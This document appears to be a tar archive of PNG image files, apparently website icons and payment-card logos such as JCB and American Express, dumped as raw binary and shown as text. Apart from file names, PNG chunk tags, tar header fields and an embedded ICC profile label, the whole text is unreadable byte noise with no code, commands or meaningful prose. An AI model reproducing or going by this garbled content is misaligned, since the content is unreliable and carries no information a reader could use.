 ?*¤.Feٴ]TX?z�C�%��������� ��ƘR��k��)aƣ#GO���s��p�'�+���c���ĮAx�H�6�f�����j~��W]\���������b�Z�m��N��*��&��8������}p��cf�y��k���m��a�C/]Y����E]WU��b\�uY��/��BQ��p��s�7��՜R��lS����u]����x�*�q���9��t:�8�9E�y�o�	��?cj�ة��ttd�;��6��s ������cﹿ�o���Gy�P��y{�fj)�J�X̗�����JI0F��d���8�!�"���g|�K_�&pyq���l6�M`Pj�Y�$%���{��ǎR��.��b�/f֮5�$Y���o�����!�"t15m۶m�]J�b�X8�	���*��ٳ�R��2���R�t��j�X��nn��8v��{*�=� {��ɳ�/�x�
\ߪ��y{����&vq�\�w�$IӶ��*%�:m��u�Ǭ��D�'Z�����=���sW�:DF�^��s�l��48ܙ���8�8~�[Y�P��{������{
9"����a��c�Ŷ�M�6.�nն]cQ5��u���6'w�9��&��b<�3Ir?cl��r���ۏ]{bm6*�!p�EY�s��7�V{�wpG����T��;�v9o�,u]�Rl[��;��t�\E��p&�̳�e��c?����������^Q�p(�BF̶14lFz�-%1�p������OI�޻!������6�9;��$�dJd�]JmӴM�4]�u"
�̮E�d}��h���ă�Gorjf��HS5��n�X���/�5��lD�踨��*����s��0��}�ˍ/�����wt��74���
����9"j��뺮�R��]'��{�#U����`(]Jқ<#f���~��OA��I�%;z����;,xv·���"�y�=�B��1 ��
�h�1uml��mۦmW��j�4��k�$˾��+��;��2�|C��\TAR���V�f�{0�vybR�sQV��؅�8G,}cKA�ޅ��;d��6l7�=(h0��l�� Dt�;皦Y�Vm��S���A7�=��0�x��և>�D�z�$ DG蘆�졌D%�()�hr�nj�;�޹!�{`8$OY�K����$�Q�.�m׶m�tm�tM۵1v"IU�o��t�~D00���r09�;�bLM�������{#�Uh>�ɤ�F.�L����N$gP�::Q�o�n��/h4�Ԃh��B��iz�u�b>_5M7�b1�|a�ڵ_�hۮ�ǽ�=�H�4�?�oK
��5�)Y��v��*f@���s��pol�3"rd���jI)�ص]�6]�j��i۶���Ǥ���2��G���r_��V/�Ͱ$�u�i������ݽ�=M���sQ����tRT���c�!��gN�f�v�
��m"Ү�[�偙i�gY Gλ.ƃ���i��m�.���.I�<��H�Bj��ﱳw�i�ƀ�P{�v�(�D3IbW�on��9o�Ɯ�����J��5@C�$)I�[��RL��)��K]SJ�I�SS4"5�\?��D~q=ϩ�[�S�u��|wow{w�`>�<-�=W�����QꊜS$�}SMB<���,ne˯�y�Ijw�����|�/)>��6���cO�����K��U'є�3��ۿ�#G67%&�^3JC�0����Z�U��S�x����7b���f&)v��bjc����$i��:�(�������*(���DI�t�M�ϖȝ�������fg��b��sp���ގ�nkiU����Q�!�@��������+��j����UA��R5SS�����k;�����kWwww�K���w��w�D�yIi���Z.��i�f�jb�T%���br�XJqT��跕����N߇&�(Q����6���
F����cB��<P�~��$�W�/m�aG�j"�)���	%��ș��uY�%j]�M�-�����KW�n�lw��͑/)��g��lZ�F�(���C�P�7ǘAB�#��ϟ���^5��)h�]��#�=l��M׬�m_{��k����K/����Ow]�	�}VT�!9v�:_,V�U�l�f�j�QM""]LmLIc�ٚ}�w|$s��as0=��PR�K�Gx�]��@)�v�$1�.�.IT�fȱ=j��_�Iu�7�&���ܙ亊8ޏs3wfv��ծml!ٔȶ��(�*"��y|���@@`���.l0�ʶ�z�>�;w��t7��#ႀ̫���}�����|�m4G�12$$�͸v'*ȿ�mڢ���㓣��x}�E8N]�pk+����^�s䘘V��-lSu6�.❋;����}��O}�>.a�x���ɗ���~?f�M���:]�NO�F�PS5���7�|c�X����
�Z���u]�uQ����ʶm��b��� x�����K�~�_V"J�m�)MALZ����WG_x���sP �^[����M��3�-p5ߝ)QUSSP�&�d;{����"�ءC�
0Um��(����h:=:�槧V��8f��ָ7�4�k(t�]�DJ��̣2[�����n\�~m{��B���Ɗ�V����{�z:�-NϪ�*����8�P�����7^�r�*�)v~ψ���E�u�mrpH�,�=!�k����5u���H��!1�{d�f��֊D��;�nݝ��&�a��̴��P��}$bQ1S1�bqg#1CvL������@U��9[�����x�\���q�Q/I��Q?���$�Q��0#;��B��1v�A0T�A����l8���U}pp����0�}*�ק�,�8zp��{��iQVu뛶^�k�|U��h�>{�7O��_|�F�
l�2B$����瘙�s�<DH� 8�ڦ�u뫭�}t;����0��W5Q��gO]�'�b��p#TU
��+n��u_-��TLE�mm�	�l�]�.BCv��b&�_���|q49ZΗe^d���$q���l�ˆQ�2E�H�A����67�6���ZOO���z�rڏ�4����/�o��g?y�Oo���?�<b�Z�:��m��t�O�����=��U�u+��b�!:R1Glf����?��b6��˷����DqC�&��*Db0�n�ci��R����7n�Ƿd���MUE��|�ث#�x�;��X
�8�"i��B���H�g�B[\̓y�qo
.����C�8��1!��k���j9_ϧ����.��G)i���QoЏ��ö9s��)�G;Q@#C_���%�	�(2r���|��^�����:�����罇��L�^���A������%��Ԛ�b����3m�@Re��EE��9�+
;;;�ܵт�DŇa���	��M?��!(�>{��z]�Qc�y!�� ��9$/��`��^�&��0t#UUT�����tY;?�N�m�J#�]z�{[
��^/N�^6L�Y�$�$&MӬ�ΎON�N��jU�g��gY?�w�v��A��i�a~5����eN`AY���o�}��_��㽯|؁�1�q��	���!E�>�7��:&39>�LL��n=P���#��aĬ��!�2b��?89>�q����Ԫ�	ڦZ��:;��I,��@�-�k��W_i���d2gv�=��h�PEA�]H������<$1�>	�����55	LB>x�y51Q�޷ܿ�F
�L)N�%�)GЋ�[��ʲZ���l��U�*Ei4`GI6ʆ�4M�(�\���4؇Z�C@P� g03:����WX�m��F-b�Nj�Kz�����~�ɝ�ŽsxO�Ӏ�;bW���dR�M+�FȈFHFj�N͈��P-
�@bRpK��'�?.��_z�/]C$U	W�5uե�i[A��"2�z�uM�����^���ޞ.�X���
`F�DI�^�{���{.�����ߘ������L�w��G�`�aO��yo�5i�
/�
:p��E¬��ضm�+3�iQ���<_.��J���nE�^0��~P1Q�1�j�YP62����?ofG�^ZW�ԕ�oR�yu��~�&[�'�e^W��3P�k�����s��IEND�B`�images/k.png000066600000016236151150443020006760 0ustar00�PNG


IHDR�-��psRGB���XIDATx^�t�E��?�w��)�	5$�ґ�"��/(ME�wi��X@^�@@���(�A!��C�!�����<?)!!_ϟ<�p8��r��޹sˠ�$I��+�c�E!��/\�́�š�;p�\(U*\v;鉉��( ������*�@�r�|��B�8�-��l�$4>�n�B�����FD�P�440���`�Vz��@P8��Ɂ�֬,�N��S��$�:�#-��3�ȸx���ѫ�x��N
?�N7n���V�T�Bpݺ��Zc�)�x"��V��?��%������@p劤�9CƩ3�U�*�ǍŒ���D���u��3Ѩ�8=:��r�HB��ëb�G��;
�y\8�?������Q���x�6|M>�j$�8lN�U°\OD��B�h0H�8���;��TF��m�R12����+^�qٳ�u��o_��#�Vpe�&�nf�
_n��R�K�[��El҄�{vc4�0�
���
��T*6���F�@�#U����)T&��O��p�ǁ��)׮�&j{�YL	�
#^t
	�׉^�D%��5�-�9"]�
Tj��N�Z�����#5���c$Gǐ�wV�
�ZB�q�U�ɒT�ծ���S�Q#�����܇]�#���&p`�b��^Z$tj(�]rT�eZ��b�g�
�]�9}ִt��^��m��GoFJOA�P�ns��/�Zo��ď��ҋ˓���o���>��m�-V�.F#Z�
Sp %;�@�W��@l�NJ��w�qf����O�D�PX]ç�8�s��4fa�Ǐ��N��c��?�Q�Z�Ėi% �4�BCi9�S#���m�:�x1���y9�Z���BW�8��A��=�=���x+;�oY"
�R�R�&y��߷>��0*��_��f����v穿��iff^?��sߓZ�#����(�\���
�^����ļ�\��Ԡ���q����#0jT�z�\T�O��ID��||���j���e��9���pI(uF�t�i1�*W~�9r�n������f��c�X�
1�(A��Un�~h�(lv�N���$xU��{��ck7�|)GV���	��R�Z�'�Z�uk�zP
�v;�7nJ�A�|�{��#�繑oR�lY4Z-J�Z�M���p
�aB@+?��F�ޠLD�]��xkF'�F���fG��P�b%*>]���d��I���.]�Џ?q��)x1��a
	����S�\H�B���\l,'׭��OKP'%���8�N\���m���[�)&k���c��ϙy_�>~�� ���̩����_Vs�k��Ns|�j..[��kNJDث�	mڔ
�j��e��_9��w�n؀��!�U�կO�/�֨�9�+���O�(�
���ڢ���I>|e�c���ܟ���yI�V�f��֬I��KrJ��%Č�D�֋�Ҙ��kt�Uz4-�6+Z��	��Ɩ�����ʮ�t�f!U6�
�Dz~r��E���֫��H���8�a#�6n�����
)'k�;�Яk�=e
�Dس�ʿ�X�;{g��i�w�V9������ ���Z��KH޹
�=�ǃQ�ŷJ8�'~J�
�aymx��!��z��WP델U:B���w��(��a����r��8��GJ6nH�/�Z�c\h�?g�"��QZ���"e��s�l'4�-3�m��@����G�e
/6����p|�b�ŊS�GU�[�޹1���o���[��X���*�}ٽ�;wS�gh1p �bE��5l}�}�����Pt��wdgsd�j�Ν��K��|���P	3dӌ���K���.u_~����1�=;��F�E�]47���o�2J�|��]��Ҏi2q"7B�����s�X�bW��ٞ��e��:I/��I�m\�7;�����W��^}�;hH���*]v[��1�,�#�Y'^��/�O��V�t^;���7�N|��Z��٩3����_���k��+��u];K{���޻/�Ƽ��h�I���~�=v��?�)�Ǐ����LJ"fz��l.����aCh2p�]�����HX�F<3t�|R��$�I̛�q����g;��E�ʼn;��y���)]�	YPvΙɁ9��бmƍ��i&��[�ޤ����S�S�e+�
��Þ9���7t��'|K�Dw��z���h7�\y��M�kqq�2r8�#�p�g�5���l󖴘�O�"y���ۿr9���J�C��(�9pM������{g�"n�"�۴�ͧ��F���ා�S�U+*5mv�c��r��oO_OX�>4;�_A91ρY_r��o�y2�v_Ϳ�}+���S	k�
������c,W��7����|��M���Co�w���[�<�/jC^��Jx+��m]�-�
Q$8��Gb��kW�e+���h��3._f]��tX�����������d�,�֩���vO]ZR�/0��r�2K��&��>�j�����z�9j$M�{`0?H��{v�}�.�$��RE`����j�%d�n+r�LN�
%ڷ�����b�����,jt�F�J�r�E�7��LŠ�T�3��o��|�c�O���%�lӆ6�O�/�6]3x0�͘!k��:q��!ZΟO��-�|I��+��}pyM��kW�sz�N6��O��B����Ay��b��Ç��)���D�^�Ǿ��CQ��0����$J׬)_���t��,0�߻�m�>!1:��D�Ղ�b%^��N��FW.����t�_�P��2����i��|ʖ)��n׊^/{��sq�R�?�,�&~(��Rl,�{�R�sg��^6g<nVƕ�P�G����`���Y��q��9�_�e�ܰ���/:��5ki��h�]�?�~�H�;�D�Qwi�x�0ۆ����%z[�sZ����m;li<�r��V����3��0g>�:uh�`*�gF�&��^2���w������ɯk�&Q��11��2���
�hqL�+�r�{��Q3OL�o�c�7��=�Y�W��T�
M?�Dh���;l����;0k&��ΥB��4���.@�v���y�f#�o_3b��-#����8	�^���H�x�*�R�m��ޗ�N'��}����,_F�v?�}���L��ۋF����%�8Ύ��D�	/lڜ���k{F�&+5�7F��[Ƭ,�k����0�h��h�F��ϼ���q�v� ɉ�0�F�D�|�Z��S�^�,0�'�=˼�O��(��3�"%�9]<�pO>�LX��&��F̧��z(�J)�Y�;v��~�)W��
���Ιɑs(ڤ9IIҖm������/0�=2�q��c����3�:9ȧ���^�j�u<��|��T"Ʊ�C$5��B���h��G���ᙹ_R�e�b)i�O��_o�i�ys�'���9=i"k]b���綫�W���{�P\Z��m��o���fc��9\[�3:k���a�Z���)ߤ)J�����+p��t�+��+-	��D�hІ�P�_��Wz��.f�W����d�-
�p�i����J���s'I��9��F������#�~a��އ�ț��v�a��W�L`�D��!.����z��p�'F�C؋]n�?9|HG����QT�l��hF�c��h$���͟C��HZO��'p��=���ɔ������w~�6�|�_,)	�g�>�;��O67md��dw�ʦ-���k��K�����-p:��J�M�I��M�L�;�V�M�J�y�`��p:���(Z�x�#?/�{�?��1�ΖW�(=J����{#�����KG. v�J?��|���E92}*	~Ek�B���<�r	���Q���rU{����rX���U\�%W�5_�=���mm1�ݻ�p�[�y�[q�(q�sgRΟ����1�z�H��cǐ!$8=���{���LH`�~X.���O��	͓��v1�QSP�~�R�F��[���sm�~NDE�wg��'�滽T�mb�_L�����1��W���L��<3iRnt���Y�r7R��Ƞ�H*$������Z7L����{�{u�$b����W�)ڪ5��O�7Ml���K�[8��K��Py@_��snh׎Mª�D��C����ȹ._��|%_�u��y�?��dٳ�Xԡ=�-����]��>y*��̦��><Wp�����9g�1l���4[��IR�"F�MX��y�ĂO?���?|K�ݨ3|�|Z�/S7�Z"�����W�\�=Aի�*�w^���{��}z���+A�x�U�e�1=�(�+���`�.JI�Y��7<�&3�S"<o���a�����/$�ukZN�xL�K�wp*�<II��ա��o�3��	8�߆� i�Z��!�Y#�qq�Nv��֨����X���}�5��O�a�Ǩ�����r�<�uBD�5+s�uɼ����}H�31`ŏ�e�+91#
u�"��;W���[$G��v&��)Z/[���
/\��)4��lZ�K�o�<�������Th��|�����s曅�����Ǟ��C��0�ʱ�������
��E1��]��l҄<{.������Y�jӆ��|z�R/ij��XO�¿j��o�Rw��B�o>����Q�_��Zw�"<>[�˵M�(Q�.-�ͺK�;mv�z��}�_��U��p	a\ߩ;�c🭛�
���&�}��\p����c�=���	{�
�#�KB;�b�&��ej��R+j�]l�ݛ'G��DD�=�"�L�弼r����:��Wv}�'.�z|?j�d����Z̟O�J�c��?��F�1ە��5j�Z�Ƣ���;�s)-��̩�֨ɳ���G��!L��rm�FtA%����֪uۦ� �����u�Rwțh7��B���ű�Gw��t*�@��oiTqZ\ؽ���2(&F|��=�gpt�*��K�a#�{�M={�}�O��奟~�`��LVɵ�m4��c"ڶ�'-��+��֏�no�DOa�e�!����j5�h,�ˇ�3�_e���b���ب9M�͗�+p�s+�V�$v�\�MF\NpJj��׏�o����W �����%n�J^h�x�
�EԠݷ�/�w7��$\�;�L�Ԓo�)H��~�X��=�t�,[�NƱ���Թ��
�� ��d^�†���'\�'����E�z�n�[NC�0��Kc�Z�֯
���t��^��/]�o��r
�_��Y������&��@jv�*�q��Y9��B�-�34�O�FP�j��K�+�1i�k�R�U+Z�#�=713�:�_D��Dt}��-Zɿ�̯�O�W{rm{�-?�Bx��KKJ2k'|$['G�B��,�~��X���*�+�F$��BK͑è٧��x�O0f�7��:$��ÆZ�G2�R�W/�t+��a�ɭ���IسO�u4.'
���@`d$a�oO�;{����q9����d�t�qk�U{
Or�\��ĉ��D�T!)�W���]o�">z�l�W��*�(�|d��A�=#�ÂB��XHt
��UO�"��A�.'��t\ɩ(�N�+Р����^��9�.F�Gr:�/��U�ي2�z!M��ȱ�+H?wV�g(�:<7��2OՠR�f�
���=3���~���I�|^���E�����٥˿�%5�;,�̷_cOO���a2�P[�HZ-�fN�|��.
�HLd��/�ۺU~�A�P�o��b�Q��n4:����N������4�Y����c^�����U7�1���	{^<�%j�5:�]�����Ey�)}��A���!����7�by|�h毿EQ�=R�� ��w�{2/6���F�֍5޸�*s��禰dr
2�愙�ɬ���Z�����T|
|�P�x	ʶhN�.])��6��sl�%砤+�T����Y�CH�Z<3q<�k��˺�<�x$�<]7�3�ΘK�ہK)���Hq_Jj��<B�{���^�|çs}GH���!v��d>���p6�*Z���JGT��֭�og���ʁG|���̘I�$>�;=�
TN^�����nj_X8a]:��K�x{�ck�qr�/�.\�'n�T.�����;�=Ž���'�P~^R����#�`���]9ˉի9��*<�Yr��(P�H
9��H��F�i��p�ԪMJ�UB�|�}˖���0��Ġ�׍���jU�lM�}(�x�V�*����J�N<vKBg7l����qX��4*/F��F�E�b�P���(�䓤��sn��/���J���8�n��V�N����M��\���Lj�T)t����T�/Q��e���Z8п�
|ၐ=
^��;H��2q����(�[J���:�e+L�CDu񢷻eό��Ba6԰!v�].[;�q#*q�����x�z�B�S�^}����ɴ��sx肃Q��L�w1�U�(O�+�j���M��RH�?Á|?#9�s����J�"39�N�ȟv٬��&<�l���(�))�]�SS�~�$�M�xRP�E�T"3���>��8�j$�
����G����B�G�&�nGk2�-YI�#��IF
.��_�׬����"4���텳��9�/�
���dv�\�S�q�l��_���R((X
���8�RQ��,V��{�(�xpI��Q��7ov6v���-W�gfb6����T��OVz�h$	���I��YnV�����E��B���y�I���b���T����u�"��7�O�~]��ZRS��A����Zl���5�)'O�r�j%�,v4&��S��h(۰!A5k��v���Q.���{�g��UxQ�@�T�q{P9]�lܒ$�
�&�|"�Y�1��3S�tiJ�Gȱ��:u)��35�E�ZHJ.x(��[�ٝv��lDA�x<��׌HXR�o$���+BxN��Kc.Q���?(���2E�P<9'�%��HJ"-�*�G��O�
BT�$=�#)�V�����30�Q�MhK�	�r�:LfʆG�+��9�s�@���<n�,Y))h
9]�`�{���@C_�׫��,.�BP�@���G�r�ȍ���?�#���Z��;
��oߡB�	
��H�Z8违�����P!}���h]].0��^IEND�B`�images/cards/jcb.png000066600000010771151150443020010356 0ustar00�PNG


IHDR�P�}�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F$IDATx��ype���nr��(Ђ=�@��Z�@9qPQ�g��9E��`pFPс�`�\�P��H�H��6��M��٬4]�6m�X�}���/y���}�}�o�
�(� ���z�w1��@MS��Xn<��HE0�(B3qk�3:�ɂr��i�)����#�`͉��,@���YB��$A$A$A$A$!�|��]�Pr,tj6���&�~�܈�J���
��nZh;�n_/ћ����k:5��PB5<TJ�t,
��X�,&����g��A�H]��}���&��;�`��~X85��Ú��}47w�5>o���!���6t}f	�����U�����J��~��]��ȁ�<�թyq�,���(V�@0��lH��"<L���&�k���`���� �x����%�I�U��8��|~"���+_MhU�Y05�U�w�W�K��U�/Q�8�L��u�K��S,Đ��W���C��:6��P���FI��'� H���~S�e-���}~Bf�zZ�T���i*	� W��A�f�‰��#��N�vp6��.�����e\��:��M���;�{t�`�FF!���ho��]EJF���'o<&�l4�0�1�~�S��1&�v�F��V��ŕ8y��>?`�
X���H����0ȽQ���"������3q�˧I����fo4fu��6ignJ��t��
���.:�]�v<1>+fu���g{.j����N5@{ø�iWߤy�f�K�`����	���=���e�tG:�7�=|Ҙ�8w���x�F���"[���M��ֵ�+#�/�<�e��A�T�G^���51mDm"|N}�Alt�`�}~���U">*�"�Xץ|��(�;^ø�th�DNY~�M�GlD�*;���QU��о
�z�UY��U��X�v���$��%
�Ĝ5��Mf�>��Z;�mϱЪ8�,�7K��9�8��z����S�����m>����o��<��mp�(�0�d����
<��{
K�����j0'9��ȼV���.���ԫ�,��S�Hc?�H�Ǒz�n�ʍ{�(Kg��WeAN�g��a��x�ǒ]h���yu�ņ�=�5X~�N���rH��Dų�Γx9���]Æ/�p߂�j���G��0L��S��<R_$�h<�
8�S
��.�	"�
�B�J�O�P
/m�9}��������R*0˩�8>*s'�!c�D`̐���v�ؖ�iم)��^�꿣Qq�v��-��,��IJ������� �hվk	S�$��?\`?�A$@�Zʰ�hx���v���U&�]�wI&��Oꏀ����{؈"`���
x��^ǖL^�^�Y���kj�W�����ױ��R�k6����ᔌ"<{ӫ؜"���>e��/Y^Ŧ����?�ӫج=���_|?`=~�`��v��f��s�jov�=��Ş�r���a硼V��;�
�)=[Ss�*���;��hU�,��F�c]�0���lP�7!���Qw=�ݴR۸�B0��]Qe�Ž*J�&%S+�)X���F����*�~��T�6��3@�U�z���zi��Ť����jK@�Jt7P�$A$A$A$A$!'L4���,���q�Y���ӜȆrG��0\P ���4?�ё�DG��B����hS%�WIEND�B`�images/cards/american-express.png000066600000016052151150443020013064 0ustar00�PNG


IHDR�P�}�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FUIDATx��]yTW��U�
M7���l��TjL�5f4��q�&3�L�7��Λy3�����D��fc\��΋��h$���FDqcPh�i�����]t�U��|���S�p�޺}�~�����w��p�E�����X`&vh�$t�X���8���� ��~%�LJ�k8��Y�+��d7��c��0ݓ~�x�;�y�E?K�,X�`	��%�,X�`	��%�,X�`	��%�,�*x���	�eWZ�?a�m��n���LR�����G6F�
��C"�!)TJ[�Lю�6R#%���}���M�j�"3&���=���m���X�Lю;*m�"��� �{�D��ܲz�KDȉ
�e/aw��qf^9�ψ�Z#�%"ڲB�#¥ <p�f�o�b��t�:Z�Y�O��3�y�H)6U��%��.��%D�T�m;k'%�CH	���G/|����!!=>����e���
���%`�L�)1���^ÎK�68yK�����֝��ugnS�b��0r B� e �ƅ� �f�	ɛ~��f'�D�P��d�)�1qǩn��mN:�
B���%c�(�yJ2�<����kr��&'������ƞ9Z�fJm�50��٤&ﻟ.#�n>��6=E��/�����K��q��ѹ<����!!��o���C@m�`{�h�V��Hy#�6�!-2��ֶ-�6����S��<���B�u&J]��پ���j�I��n�т[Mj�k7`���v����;���G+�휪n��ʽ�ExgB����6Z(}:q�	�K�X����b%�m�^E����c�v^�!�/�ȿ7T`߂�.�)�W�P�D��$��^��S?���E[7@�uoIz� ���*QӪ|s�;獡mk�Z��S#d:@���!��J�h�V4iM�w�+��v��?v
sGD!����#'��1�������|���s��s{a�;���릥 �����qOmp�����ȡt�`?����Ġ@?��X��ݹ��dA�GyЙ���0Z��(�%��>'�ʤ��U-Z�7�$Bl���W\$���cbA�kӣYg��c�����ޞ8t�j]��S��0=!Ϗ�Xlvl9_E�Ƣ�A�Qu�V*�R�~ZXA���.��5Yq�����\��z��R��R1����\���8�e�*�TT	�Q�_e�/�aP�3�f�G+i��8s8.f|^\��Z{?�%G�k�Fa�9�),79��l7�\r9�F�{���T�h�x��Ԙ.�rG��䝧i��o�yԖ|�J�|	���j� �ѳ)���2�ari���i-���x-c(xo��#�x���Q�X���V�P�#:��c��uq�
�\F��ǁRo��9*[��������v�>�ٍݗ�jCA9Y���x�7`y������й�9+)�і�7�h�y��l'.X�����]"��ĝ&�6�Ѷ���#I��]�`�^�l*�`��jNJ���^�UbuV����
ž9�V��Dʭj��<��.C��i�ޯ8gD����q�V�8|��h
�!�q`��Q��d��V����=����,;x��?
��ՂL��2��H�˹�Θȏe&���8p��Ou�:|�m�x��~/����{�r9E|ڋ���<�r�Z1�,;^E���82p�gf+�=z��=�����+����v�M4yh�+tlF�\ٻ5���W����у)�t������O
